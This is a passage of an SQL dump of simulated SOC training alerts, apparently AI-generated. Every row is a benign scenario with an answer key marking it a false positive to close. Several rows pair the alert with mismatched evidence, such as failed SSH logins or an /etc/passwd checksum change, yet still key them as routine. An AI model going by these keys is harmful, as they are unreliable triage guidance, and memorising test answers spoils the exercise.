3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:40:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"/usr/bin/rsync -av /data /backup\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.338Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:40:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"/usr/bin/rsync -av /data /backup\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1815, 'Benign System Health Check Activity', 'low', 'Elastic SIEM', 'System health checks detected on multiple servers. These checks are part of regular monitoring tasks.', 'System Monitoring', 'T1016', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:25:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.1.1.15\",\"dst_ip\":\"10.1.1.20\",\"username\":\"monitor_user\",\"hostname\":\"health_check\",\"command_line\":\"ping -c 4 10.1.1.20\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used for health checks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"ping -c 4 10.1.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine system health check command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"system_monitoring\",\"analysis_notes\":\"Routine system health checks detected. No suspicious activity.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.348Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"10.1.1.20\\\",\\\"username\\\":\\\"monitor_user\\\",\\\"hostname\\\":\\\"health_check\\\",\\\"command_line\\\":\\\"ping -c 4 10.1.1.20\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.348Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"10.1.1.20\\\",\\\"username\\\":\\\"monitor_user\\\",\\\"hostname\\\":\\\"health_check\\\",\\\"command_line\\\":\\\"ping -c 4 10.1.1.20\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.348Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"10.1.1.20\\\",\\\"username\\\":\\\"monitor_user\\\",\\\"hostname\\\":\\\"health_check\\\",\\\"command_line\\\":\\\"ping -c 4 10.1.1.20\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.348Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"10.1.1.20\\\",\\\"username\\\":\\\"monitor_user\\\",\\\"hostname\\\":\\\"health_check\\\",\\\"command_line\\\":\\\"ping -c 4 10.1.1.20\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.348Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:25:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"10.1.1.20\\\",\\\"username\\\":\\\"monitor_user\\\",\\\"hostname\\\":\\\"health_check\\\",\\\"command_line\\\":\\\"ping -c 4 10.1.1.20\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1816, 'Misconfigured Legacy Application Generating Suspicious Traffic', 'medium', 'Azure Sentinel', 'A legacy application was detected generating potentially suspicious traffic patterns. Investigation revealed it was a misconfiguration.', 'Anomaly Detection', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:45:34Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"203.0.113.10\",\"username\":\"legacy_app\",\"hostname\":\"legacy_server\",\"command_line\":\"java -jar legacyapp.jar\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"java -jar legacyapp.jar\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Misconfigured application generating unusual traffic\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"anomaly_detection\",\"analysis_notes\":\"The traffic was traced back to a misconfigured legacy application. No malicious intent detected.\"}', 'Intermediate', 'SIEM', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.350Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:45:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"java -jar legacyapp.jar\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.350Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:45:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"java -jar legacyapp.jar\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.350Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:45:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"java -jar legacyapp.jar\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.350Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:45:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"java -jar legacyapp.jar\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.350Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T12:45:34Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"203.0.113.10\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"java -jar legacyapp.jar\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1817, 'Authorized IT Maintenance Process Triggered Alert', 'low', 'Wazuh', 'An IT maintenance script was executed as part of routine maintenance, triggering an alert due to its network activity.', 'Malware', 'T1087', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:10:55Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.2.15\",\"dst_ip\":\"10.0.2.30\",\"username\":\"maintenance_user\",\"hostname\":\"maintenance_host\",\"command_line\":\"python maintenance_script.py\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used for IT maintenance\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"python maintenance_script.py\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine maintenance script execution\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"system_maintenance\",\"analysis_notes\":\"Authorized maintenance process detected. No malicious activity found.\"}', 'Intermediate', 'SIEM', 5, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.351Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T15:10:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.2.15\\\",\\\"dst_ip\\\":\\\"10.0.2.30\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance_host\\\",\\\"command_line\\\":\\\"python maintenance_script.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.351Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T15:10:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.2.15\\\",\\\"dst_ip\\\":\\\"10.0.2.30\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance_host\\\",\\\"command_line\\\":\\\"python maintenance_script.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.351Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T15:10:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.2.15\\\",\\\"dst_ip\\\":\\\"10.0.2.30\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance_host\\\",\\\"command_line\\\":\\\"python maintenance_script.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.351Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T15:10:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.2.15\\\",\\\"dst_ip\\\":\\\"10.0.2.30\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance_host\\\",\\\"command_line\\\":\\\"python maintenance_script.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.351Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T15:10:55Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.2.15\\\",\\\"dst_ip\\\":\\\"10.0.2.30\\\",\\\"username\\\":\\\"maintenance_user\\\",\\\"hostname\\\":\\\"maintenance_host\\\",\\\"command_line\\\":\\\"python maintenance_script.py\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1818, 'Routine IT Vulnerability Scanning Detected as Brute Force Attack', 'medium', 'Splunk', 'A series of login failures from an internal IP address were detected, resembling a brute force attack. Upon investigation, these attempts align with routine vulnerability scanning conducted by IT.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:25:43Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.25\",\"username\":\"admin\",\"hostname\":\"server1\",\"failed_attempts\":20}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for scheduled vulnerability scans\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server targeted for scanning\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is an internal address used by IT for routine vulnerability scanning, not an actual brute force attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:25:43Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:04:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:25:43Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:03:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:25:43Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:02:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:25:43Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-16T03:01:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T10:25:43Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server1\\\",\\\"failed_attempts\\\":20}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1819, 'Authorized Administrative Backup Misidentified as Data Exfiltration', 'high', 'Azure Sentinel', 'Large data transfer from a sensitive file server to an external IP address detected. This is part of an authorized backup process to a cloud storage service.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:27Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.10\",\"dst_ip\":\"203.0.113.50\",\"hostname\":\"backup-server\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP assigned to backup server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"IP associated with a trusted cloud storage service\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Common hash for an empty file\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer was part of a scheduled backup to a verified cloud service, not unauthorized exfiltration.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:45:27Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:45:27Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:45:27Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:45:27Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.352Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:45:27Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1820, 'Misconfigured Legacy Application Triggering Command Execution Alert', 'medium', 'Wazuh', 'A command execution event was identified on a legacy server, initially flagged as suspicious. This corresponds to a scheduled task for system maintenance.', 'Execution', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"hostname\":\"legacy-app-server\",\"command_line\":\"/usr/bin/python3 /opt/scripts/maintenance.py\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"/usr/bin/python3 /opt/scripts/maintenance.py\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine maintenance script executed as per schedule\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command execution is part of a scheduled maintenance task and not indicative of malicious activity.\"}', 'Intermediate', 'SIEM', 5, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.353Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /opt/scripts/maintenance.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.353Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /opt/scripts/maintenance.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.353Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /opt/scripts/maintenance.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.353Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /opt/scripts/maintenance.py\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.353Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"hostname\\\":\\\"legacy-app-server\\\",\\\"command_line\\\":\\\"/usr/bin/python3 /opt/scripts/maintenance.py\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
